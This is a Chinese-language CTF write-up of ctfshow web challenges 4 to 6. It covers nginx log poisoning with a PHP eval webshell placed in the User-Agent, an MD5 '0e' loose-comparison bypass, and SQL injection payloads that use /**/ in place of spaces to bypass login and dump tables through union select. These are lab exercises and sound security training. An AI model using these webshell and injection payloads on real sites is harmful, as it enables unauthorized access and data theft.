当前位置: 代码迷 >> 综合 >> ctfshow web4-6
  详细解决方案

ctfshow web4-6

热度:68   发布时间:2023-12-05 16:56:58.0

web4

 4和3 都有include 尝试构建和3一样发现失败了

想到从网站日志下手

日志路径/var/log/nginx/access.log

构建/?url=/var/log/nginx/access.log

同时burp抓包并转到request中

通过一句话木马连接 <?php eval($_POST['xuyun'])?>

木马放在User-Agent 后面

 

通过蚁剑连接

 链接:https://pan.baidu.com/s/1EuHOgklDfEU9qttGGyH85Q 
提取码:xuyu 
--来自百度网盘超级会员V1的分享(可以下)

 发现flag值

web5

代码审计

有v1 v2 两个变量

if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error")

{ if(!ctype_alpha($v1)}表示v1要为字母

{is_numeric($v2)}表示v2要为数字

if(md5($v1)==md5($v2)){
                echo $flag;

这里表示经过MD5后 v1 = v2

这里想到0e开头的值 PHP将会认为他们相同,都是0

符合这3个只有

QNKCDZO
0e830400451993494058024219903391
240610708

构建?v1=QNKCDZO&v2=240610708

 得到flag值

web6

 题目和2有点像先用万能密码

 发现出错用burp抓包分析一下

 

 发现空格成了+号

常用空格替换/**/

构造'or/**/1=1;#

 

 成功登录

构造 username='or/**/1=1/**/order/**/by/**/3;#&password= 查字段数

 得到字段数为3

构造 username='or/**/1=1/**/union/**/select/**/1,2,3;#&password= 观察回显

构造 username='or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database();#&password=  来查表

 发现flag和user

构建username='or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag;#&password=查找flag值

 得到flag值